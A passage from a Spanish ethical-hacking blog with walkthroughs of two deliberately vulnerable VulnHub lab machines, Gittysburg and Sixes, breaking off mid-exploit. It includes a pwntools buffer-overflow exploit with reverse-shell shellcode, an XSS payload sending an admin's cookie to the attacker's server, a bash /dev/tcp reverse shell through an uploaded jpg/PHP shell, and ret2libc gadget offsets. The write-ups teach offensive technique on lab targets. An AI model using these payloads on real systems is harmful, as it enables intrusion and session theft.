tag:blogger.com,1999:blog-74973203772214586242024-03-05T22:01:11.934-08:00Hacking Éticojosehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.comBlogger28125tag:blogger.com,1999:blog-7497320377221458624.post-40688801924453265262022-12-08T09:49:00.002-08:002022-12-08T09:49:50.510-08:00GITTYSBURG: 1 : gitlab+bof shellcode jmpesp<p> https://www.vulnhub.com/entry/gittysburg-1,271/</p><p>Funciona mejor con vmware y no siempre activa el puerto 8261. Reiniciar varias veces.</p><p><br /></p><p><i>┌──(kali㉿kali)-[~/gittisburg]</i></p><p><i>└─$ nmap 192.168.2.7 -p-</i></p><p><i>Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-08 12:35 EST</i></p><p><i>Nmap scan report for gittysburg.home (192.168.2.7)</i></p><p><i>Host is up (0.0015s latency).</i></p><p><i>Not shown: 65530 closed tcp ports (conn-refused)</i></p><p><i>PORT STATE SERVICE</i></p><p><i>22/tcp open ssh</i></p><p><i><b>80/tcp open http</b></i></p><p><i>8060/tcp open aero</i></p><p><i><b>8261/tcp open unknown</b></i></p><p><i>9094/tcp open unknown</i></p><p><i><br /></i></p><p><i>Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds</i></p><p> </p><p style="text-align: justify;">- En 80 tenemos un <b>gitlab</b>. Con fuzz sacamos folder <b>root </b>y podemos ver los proyectos de "<b>david</b>". En el puerto 8261 tenemos un shell pero necesitamos las claves. En el <b>proyecto rash</b> del gitlab encontramos el binario y en /root/jeebs-v2/blob/master/ lo que parece el código fuente <b>server.c</b>. La flag1 </p><p style="text-align: justify;">flag1{R2l0X29udG9fdGhlX2JpbmFyeQ==}</p><div style="text-align: justify;">ya nos avisa de atacar el binario rash.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Lo bajamos y con ghidra sacamos las claves de acceso. Pero no hace nada, se trata de provocar bof y conseguir shell. Con pwntools diseñamos el exploit</div><div style="text-align: justify;"><br /></div><div><div><i>from pwn import *</i></div><div><i><br /></i></div><div><i>#<b>msfvenom shell reverse</b></i></div><div><i>buf = b""</i></div><div><i>buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"</i></div><div><i>buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"</i></div><div><i>buf += b"\xa8\x02\x4b\x68\x02\x00\x20\x44\x89\xe1\xb0\x66\x50"</i></div><div><i>buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"</i></div><div><i>buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"</i></div><div><i>buf += b"\x0b\xcd\x80"</i></div><div><i><br /></i></div><div><i>NOP = b"\x90" * 100</i></div><div><i>junk = b"\x41" * 48</i></div><div><i><b>#Tomamos la función jmpesp del binario</b></i></div><div><i><b>EIP = struct.pack("I", 0x080487e1)</b></i></div><div><i><br /></i></div><div><i><br /></i></div><div><i>payload = junk + EIP + NOP + buf</i></div><div><i><br /></i></div><div><i>p = remote("192.168.2.7",8261)</i></div><div><i>print(p.recvline())</i></div><div><i>print(p.recvuntil(":", timeout=1))</i></div><div><i>p.send(b"goldburg\n")</i></div><div><i>print(p.recvuntil(":", timeout=1))</i></div><div><i>p.send(payload+b"\n")</i></div><div><i>p.interactive()</i></div></div><div><br /></div><div><br /></div><p>- Entramos como david. Tenemos un folder <b>blog-template</b> que es backupeado por <b>james </b>y se ejecuta como root. Pero el script es de james. Entrando en blog-template ejecutamos <b>git show</b> y sale la clave de james.</p><p><br /></p><p><i>david@gittysburg:~/blog-template$ git show</i></p><p><i>commit a42695a0af9c4e2ed9dd74c586c026c20eb42157 (HEAD -> master)</i></p><p><i>Author: David <david@gitlab.local></i></p><p><i>Date: Mon Nov 12 10:26:07 2018 +0000</i></p><p><i> fix to config due to data spill</i></p><p><i>diff --git a/_config.yml b/_config.yml</i></p><p><i>index 0dc3427..a6ae3a9 100644</i></p><p><i>--- a/_config.yml</i></p><p><i>+++ b/_config.yml</i></p><p><i>@@ -6,7 +6,7 @@ description: > # this means to ignore newlines until "baseurl:"</i></p><p><i> twitter_username: james </i></p><p><i> github_username: james</i></p><p><i>-password: X63fhr63Ce%^re</i></p><p><i>+</i></p><p><i> # Minima date format</i></p><p><i> # refer to http://shopify.github.io/liquid/filters/date/ if you want to customize this</i></p><p><i>david@gittysburg:~/blog-template$ su james</i></p><p><i>Password: </i></p><p><i>$ id</i></p><p><i>uid=1001(james) gid=1001(james) groups=1001(james)</i></p><div><br /></div><p>- Como james podemos modificar el script <b>backup.sh</b> y añadir un shell-reverse que se ejecutará como root.</p><p><br /></p><p><i>root@gittysburg:~# cat flag4.txt</i></p><p><i>cat flag4.txt</i></p><p><i> ______ __ __ __ </i></p><p><i> / ___(_) /_/ /___ _____ / / __ _________ _</i></p><p><i>/ (_ / / __/ __/ // (_-</ _ \/ // / __/ _ `/</i></p><p><i>\___/_/\__/\__/\_, /___/_.__/\_,_/_/ \_, / </i></p><p><i> /___/ /___/ </i></p><p><i>flag4{WW91X21ha2VfbWVfZmVlbF9naXR0eQ==}</i></p><p><i>CONGRATULATIONS on Rooting Gittysburg</i></p><p><i>I hope you enjoyed this box, it was a blast to make it for you!</i></p><p><i>Hit me up on Twitter and let me know what you think</i></p><p><i>@mccannwj / wjmccann.github.io</i></p><p><i>root@gittysburg:~# </i></p><div><br /></div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-50074305791370803152022-11-08T01:55:00.005-08:002022-11-08T04:29:51.454-08:00SIXES: 1: Walkthrough Advanced-Hard Boot2Root machine: Cookie stealing + jpg shell + pwn BOF ret2lib NX ASLR<p> </p><span face="open sans, sans-serif"><div style="text-align: justify;">https://www.vulnhub.com/entry/sixes-1,380/</div></span><div><div style="text-align: justify;"><br /></div><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem; text-align: justify;"><i><b>Advanced-Hard Boot2Root machine intended to be used in a Workshop/CTF beside Shellmates Club.</b></i></p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem; text-align: justify;">Este es el primer walkthrough de esta máquina en internet. Tiene una serie de movimientos con los que se puede aprender mucho ;)</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">1. </p><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><i><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-08 09:50 CET<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">Nmap scan report for sixes.home (192.168.2.28)<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">Host is up (0.016s latency).<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">Not shown: 65531 closed tcp ports (conn-refused)<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">PORT STATE SERVICE<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">21/tcp open ftp<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">22/tcp open ssh<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">80/tcp open http</span></span></i></div><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">Accedemos al ftp</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span></p><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><i><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">lftp 192.168.2.28:~> dir<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">-r--r--r-- 1 0 0 233 Oct 03 2019 note.txt<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">lftp 192.168.2.28:/> cat note.txt<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">DONE:<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"> - Develop the web application frontend and backend<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"> - Add a firewall to block malicious tools</span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">TODO:<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"> - Hire a Pentester to secure the web application<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"> - Buy food to my cat :3</span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">shellmates{5c6b5e84ab3fa94257bdce66b9c1c200}<br /></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">233 bytes transferred</span></span></i></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><i><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span></i></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">Probamos distintos fuzzers pero como dice la nota no funcionan por el firewall.</span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">2. Accedemos al site web</span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><br /></span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEh2mnWJ28Jzrz5jWahu739JbZ-jneaQL-_rFBJ4OUUrTcIK9XCXy5doGU37pkx6fsSJ_silEHk-igXO25O24HkjgWpyT5NrknMTw1ehPHWiZ2dOhUknO3nHqob1sHYExJrrwIaB0puanZPUEK-jYhGgtk7bUoVM_evH2iggNq4nuO-5cbx7xq1Jc8_C" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="1844" data-original-width="1471" height="240" src="https://blogger.googleusercontent.com/img/a/AVvXsEh2mnWJ28Jzrz5jWahu739JbZ-jneaQL-_rFBJ4OUUrTcIK9XCXy5doGU37pkx6fsSJ_silEHk-igXO25O24HkjgWpyT5NrknMTw1ehPHWiZ2dOhUknO3nHqob1sHYExJrrwIaB0puanZPUEK-jYhGgtk7bUoVM_evH2iggNq4nuO-5cbx7xq1Jc8_C" width="191" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><br /></div>Tenemos dos enlaces interesantes:</span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">- restricted area</span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">- contact</span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">En restricted hay un login</span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgzEjp1_EVlFCPG6kIoms1BQoLTgyRThluG8yCbGSYW5lgliB-nWyMqjMh0e3FXoIiWvNe7bUMn_QIQhm4qjr79fP4OHd8-NH4JUnHdnhwwUVrKj37pLgwdVlI9BbknZkWQesLLRBrlljql_lEij3MMrAmB6s0CDhan8N8kKZOBXfHjsjfmMPNr_ffR" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="991" data-original-width="1471" height="216" src="https://blogger.googleusercontent.com/img/a/AVvXsEgzEjp1_EVlFCPG6kIoms1BQoLTgyRThluG8yCbGSYW5lgliB-nWyMqjMh0e3FXoIiWvNe7bUMn_QIQhm4qjr79fP4OHd8-NH4JUnHdnhwwUVrKj37pLgwdVlI9BbknZkWQesLLRBrlljql_lEij3MMrAmB6s0CDhan8N8kKZOBXfHjsjfmMPNr_ffR" width="320" /></a></div><br /><div style="text-align: justify;">No parece que podamos usar ni fuzzers ni sqlmap, y manualmente no parece vulnerable a inyecciones sql. La idea entonces es atacar por alguna entrada tipo búsqueda o contact.</div></span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><div class="separator" style="clear: both; text-align: justify;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEiBILGyyRuN4b5nRZls8dYy9yEjvtiUr5X2rcjOMzG0Q8p5r1eLVyi_XtlN6Enxg5R77QIClRpWQDqMlHKL28eFMaADY4kmGKgTTGXknovXBN1GSnJKygo_r3Tn39QkYfiXWxDN-MsG0-loNX81XiCMsxFmvMbCk5BDeS5rrCvl2q-4BK2U7A2dZk2m" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="991" data-original-width="1471" height="216" src="https://blogger.googleusercontent.com/img/a/AVvXsEiBILGyyRuN4b5nRZls8dYy9yEjvtiUr5X2rcjOMzG0Q8p5r1eLVyi_XtlN6Enxg5R77QIClRpWQDqMlHKL28eFMaADY4kmGKgTTGXknovXBN1GSnJKygo_r3Tn39QkYfiXWxDN-MsG0-loNX81XiCMsxFmvMbCk5BDeS5rrCvl2q-4BK2U7A2dZk2m" width="320" /></a></div><div class="separator" style="clear: both; text-align: justify;">Como dice:</div><div class="separator" style="clear: both; text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><span face="-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"" style="background-color: #f9f9f9; color: #212529; font-size: 16px; text-align: left;"><i><b>if you found a bug/glitch somewhere, please let us know the exact page where you encountered it with a short description, our awesome team will check it and fix it very quickly!</b></i></span></div><div class="separator" style="clear: both; text-align: justify;"><span face="-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"" style="background-color: #f9f9f9; color: #212529; font-size: 16px; text-align: left;"><i><b><br /></b></i></span></div><div class="separator" style="clear: both; text-align: justify;"><span face="-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"" style="background-color: #f9f9f9; color: #212529; font-size: 16px; text-align: left;">Tenemos la posibilidad de atacar por aquí. Primero lo probamos abriendo un servidor en local y pasando la dirección en el formulario. Dado que recibimos respuesta pasamos a la acción. La url que le pasemos será abierta en local por el administrador, suponemos, por lo que podemos enviar un html como el siguiente:</span></div><div class="separator" style="clear: both; text-align: justify;"><span face="-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"" style="background-color: #f9f9f9; color: #212529; font-size: 16px; text-align: left;"><br /></span></div><div class="separator" style="clear: both; text-align: justify;"><span face="-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"" style="background-color: #f9f9f9; color: #212529; font-size: 16px; text-align: left;">a- enviamos como página de bug </span><span face="-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"" style="background-color: #f9f9f9; color: #212529; font-size: 16px;">http://nuestraip:8000/hack.html</span></div><div class="separator" style="clear: both; text-align: justify;"><span face="-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"" style="background-color: #f9f9f9; color: #212529; font-size: 16px;"><br /></span></div></span></span><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><div class="separator" style="clear: both; text-align: justify;"><span face="-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"" style="background-color: #f9f9f9; color: #212529; font-size: 16px; text-align: left;"><i><div class="separator" style="clear: both; text-align: justify;"><html></div><div class="separator" style="clear: both; text-align: justify;"><script>document.write('<img src="http://nuestraip:8000/e2.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script></div></i></span></div><br /><br />b- cuando la víctima abra el html volverá a hacer una petición para darnos la cookie de admin (no necesitamos crear ningún archivo e2.php, en la ventana del servidor veremos la petición con la cookie)</span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;"><i>192.168.2.28 - - [06/Nov/2022 16:17:02] "GET /e2.php?cmd=<b>PHPSESSID=etvf8med7boja63ib2tqlsc5jn</b> HTTP/1.1" 200 -</i></span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><span style="font-size: 18px;">3. Con esta cookie vamos a acceder al área restringida usando burp. En modo proxy capturamos la petición a http://192.168.2.28/admin.php y le añadimos la cookie.</span></span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7O8hQYEAPbEyobqYeg65Zc6tLsbQIVAWaZ1B6u4sLixF88zLVH05CJzVLb6KCpKhTJPC9G3KPVi-rHcXM9muit3m5HwFufH9zIlPLNyKGWu5iLU1QKbKJJx_jTjGkoAh1A4HRwCOzsxUJREYV6w4JnBV51INZ8GgUYjHYJ2ciz2zitS7zQh_xEXy6/s476/sixesadmin.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="276" data-original-width="476" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7O8hQYEAPbEyobqYeg65Zc6tLsbQIVAWaZ1B6u4sLixF88zLVH05CJzVLb6KCpKhTJPC9G3KPVi-rHcXM9muit3m5HwFufH9zIlPLNyKGWu5iLU1QKbKJJx_jTjGkoAh1A4HRwCOzsxUJREYV6w4JnBV51INZ8GgUYjHYJ2ciz2zitS7zQh_xEXy6/s320/sixesadmin.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: justify;">Pasamos a repeater y tras probar distintos archivos funciona un jpg con shell reverse en php. Lo subimos</div><div class="separator" style="clear: both; text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjgxLn8wXA02vR3MqVedlP_fG0JodkT-kANmoIj88hmZR1NQN3yLQQsVKp4tABaSGaMlfg1VBkV5EcgsFvS-VKph6tce0WOEhTgNa9l_4gGsnLTckzDC2imKbsmOArpXywBmqVhv4Onkjmf38CMXDEvhlzI6EA-zYPRQ2x-sfhGYquYmmC6v8PD9x3R" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="1127" data-original-width="2983" height="121" src="https://blogger.googleusercontent.com/img/a/AVvXsEjgxLn8wXA02vR3MqVedlP_fG0JodkT-kANmoIj88hmZR1NQN3yLQQsVKp4tABaSGaMlfg1VBkV5EcgsFvS-VKph6tce0WOEhTgNa9l_4gGsnLTckzDC2imKbsmOArpXywBmqVhv4Onkjmf38CMXDEvhlzI6EA-zYPRQ2x-sfhGYquYmmC6v8PD9x3R" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: justify;">Inyectamos un shell reverse y accedemos</div><div class="separator" style="clear: both; text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><i>GET /img/payload_images.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.2.84/9999+0>%261'</i></div><div class="separator" style="clear: both; text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><div class="separator" style="clear: both;"><i><b>www-data@sixes:/$ id</b></i></div><div class="separator" style="clear: both;"><i><b>uid=33(www-data) gid=33(www-data) groups=33(www-data)</b></i></div><div><br /></div></div><div class="separator" style="clear: both; text-align: justify;">4. Tenemos al user webmaster pero poco más. Usando</div><div class="separator" style="clear: both; text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><div class="separator" style="clear: both;"><i>www-data@sixes:/$ <b>find / -user webmaster 2>/dev/null</b></i></div><div class="separator" style="clear: both;"><i>/home/webmaster</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.gnupg</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.lesshst</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/user.txt</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.selected_editor</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/notes.txt</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.profile</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.php_history</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.cache</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.viminfo</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.mysql_history</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.bash_history</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.bash_logout</i></div><div class="separator" style="clear: both;"><i>/home/webmaster/.bashrc</i></div><div class="separator" style="clear: both;"><i><b>/sbin/notemaker</b></i></div><div class="separator" style="clear: both;"><i>/var/crash/_sbin_notemaker.1000.crash</i></div><div class="separator" style="clear: both;"><i>/var/www/html</i></div><div class="separator" style="clear: both;"><i>/var/www/html/contact.php</i></div><div class="separator" style="clear: both;"><i>/var/www/html/post.php</i></div><div class="separator" style="clear: both;"><i>/var/www/html/home.php</i></div><div class="separator" style="clear: both;"><i>/var/www/html/css</i></div><div class="separator" style="clear: both;"><i>/var/www/html/index.php</i></div><div class="separator" style="clear: both;"><i>/var/www/html/js</i></div><div class="separator" style="clear: both;"><i>/var/www/html/admin.php</i></div><div class="separator" style="clear: both;"><i>/var/www/html/about.php</i></div><div class="separator" style="clear: both;"><i>/var/www/html/img</i></div><div class="separator" style="clear: both;"><i>/var/www/html/config.php</i></div><div class="separator" style="clear: both;"><i>/var/www/html/vendor</i></div><div class="separator" style="clear: both;"><i>www-data@sixes:/$ </i></div><div><br /></div><div>Encontramos un binario que es el siguiente paso.</div><div><br /></div><div><div><i>www-data@sixes:/$ ls -ahl <b>/sbin/notemaker</b></i></div><div><i><b>-r-sr-sr-x</b> 1 webmaster webmaster 17K Oct 3 2019 /sbin/notemaker </i></div></div></div><div class="separator" style="clear: both; text-align: justify;"><br /></div>Con pspy64 encontramos lo siguiente</div><div class="separator" style="clear: both; text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><div class="separator" style="clear: both;"><i>2022/11/06 23:38:01 ←[34;1mCMD: UID=0 PID=11030 | /bin/sh -c echo "MjAxOS0xMC0wMiAyMTowODowNSB+LT4gcm9vdCBzYWlkOiBIZXkgd2VibWFzdGVyLCBpbiBjYXNlIHRoZSB3ZWIgc2VydmVyIGdvZXMgZG93biwgSSBnYXZlIHlvdSBzb21lIHByaXZpbGVnZXMgc28geW91IGNhbiBzdGFydC9zdG9wL3Jlc3RhcnQgaXQgd2hlbmV2ZXIgeW91IHdhbnQuIENoZWVycy4KMjAxOS0xMC0wMiAyMTowODozMyB+LT4gcm9vdCBzYWlkOiBIZXkgYWdhaW4sIGhvdyBtYW55IHRpbWVzIHNob3VsZCBJIHJlcGVhdCB0aGF0IFlPVSBTSE9VTEQgTkVWRVIgVVNFIEdFVFM/IFNlcmlvdXNseSwgZXZlbiB0aGUgY29tcGlsZXIgcmVtaW5kcyB5b3UuLi4gR28gZml4IGl0IG5vdyBvciBJJ2xsIGRlbGV0ZSB5b3VyIG1pbmVjcmFmdCBhY2NvdW50Lgo=" | base64 -d > /home/webmaster/notes.txt && chown webmaster /home/webmaster/notes.txt && chgrp webmaster /home/webmaster/notes.txt && chmod 600 /home/webmaster/notes.txt</i></div><br /></div>Decodificamos el base64</span></div><div style="box-sizing: border-box; margin: 0px 0px 1rem; text-align: left;"><span face="open sans, sans-serif" style="color: #333333;"><div style="box-sizing: border-box; margin: 0px 0px 1rem;"><i>2019-10-02 21:08:05 ~-> root said: Hey webmaster, in case the web server goes down, I gave you some privileges so you can start/stop/restart it whenever you want. Cheers.</i></div><div style="box-sizing: border-box; margin: 0px 0px 1rem;"><i>2019-10-02 21:08:33 ~-> root said: Hey again, how many times should I repeat that <b>YOU SHOULD NEVER USE GETS? </b>Seriously, even the compiler reminds you... Go fix it now or I'll delete your minecraft account.</i></div><div>Es una pista para explotar el binario <b>notemaker</b>. Lo bajamos y analizamos con ghidra</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeSUi2RCosHeiedqF42YGw3k_-x5-dfGrHNSM-QU27BaC1ifKjk5srbLdJHrP_tqeOOtLQvRcS_5yHwQ8QGD80YRBvE-ugDFz0rpWTHlXVK-0Par62GviNFlJNIVihcG8YGAN-AkWEKklKRiAMuXEYL04t8chBDTrcsk7aMx4QioqR0tbS8BUOw1dP/s611/sizesghidra.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="546" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeSUi2RCosHeiedqF42YGw3k_-x5-dfGrHNSM-QU27BaC1ifKjk5srbLdJHrP_tqeOOtLQvRcS_5yHwQ8QGD80YRBvE-ugDFz0rpWTHlXVK-0Par62GviNFlJNIVihcG8YGAN-AkWEKklKRiAMuXEYL04t8chBDTrcsk7aMx4QioqR0tbS8BUOw1dP/s320/sizesghidra.png" width="286" /></a></div><br /><div>Se trata de hacer un overflow para acceder a webmaster.</div><div><br /></div><div>5. Analizamos en local el binario con gdb</div><div><br /></div><div><div><i>gdb-peda$ checksec</i></div><div><i>CANARY : disabled</i></div><div><i>FORTIFY : disabled</i></div><div><i><b>NX : ENABLED</b></i></div><div><i>PIE : disabled</i></div><div><i><b>RELRO : Partial</b></i></div></div><div><i><b><br /></b></i></div><div>y además en la máquina víctima tienen ASLR activado</div><div><i><b><br /></b></i></div><div><div style="font-style: italic; font-weight: bold;">www-data@sixes:/$ cat /proc/sys/kernel/randomize_va_space </div><div style="font-style: italic; font-weight: bold;">2 </div><div style="font-style: italic; font-weight: bold;"><br /></div><div>Vamos a hacer el exploit con pwntools y enviarlo a través de socat (que debemos descargar en la víctima)</div></div><div><br /></div><div><i><b>www-data@sixes:/tmp$ ./socat tcp-l:9997,reuseaddr,fork EXEC:"/sbin/notemaker",pty,raw,echo=0</b></i></div><div><i><b><br /></b></i></div><div>Haremos una aproximación <b>ret2lib</b></div><div><br /></div><div><div style="text-align: center;"><i>payload = junk+ p64(pop_rdi) + p64(sh) + p64(system) </i></div><div><i><br /></i></div><div style="text-align: justify;">Para eso necesitamos</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">- el junk que desborda, en este caso "A"*280</div><div style="text-align: justify;">- las direcciones pop rdi, /bin/sh y system de libc</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Los offsets buscados se obtienen con readelf, ROPgadget y strings (sobre la libc víctima)</div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;"><i>$ readelf -s libsixes | grep <b>system </b>22 ⚙</i></div><div style="text-align: justify;"><i> 1406: <b>000000000004f420 </b>45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5</i></div></div><div style="text-align: justify;"><br /></div><div><i><div style="text-align: justify;">ROPgadget --binary libsixes | grep "<b>pop rdi ; ret</b>" 22 ⚙</div><div style="text-align: justify;"><b>0x000000000002164f </b>: pop rdi ; ret</div><div style="text-align: justify;">0x00000000001bbdb0 : pop rdi ; retf</div><div style="text-align: justify;">0x0000000000001c36 : pop rdi ; retf 0x49f2</div><div style="text-align: justify;"><br /></div></i></div><div><i><div style="text-align: justify;">strings -a -tx libsixes | grep <b>/bin/sh </b> 22 ⚙</div><div style="text-align: justify;"> <b>1b3d88 </b>/bin/sh</div><div style="text-align: justify;"><br /></div></i></div></div><div style="text-align: justify;">El problema es que tenemos que lidiar con ASLR, luego la dirección base de libc cambia con cada ejecución del programa. Así 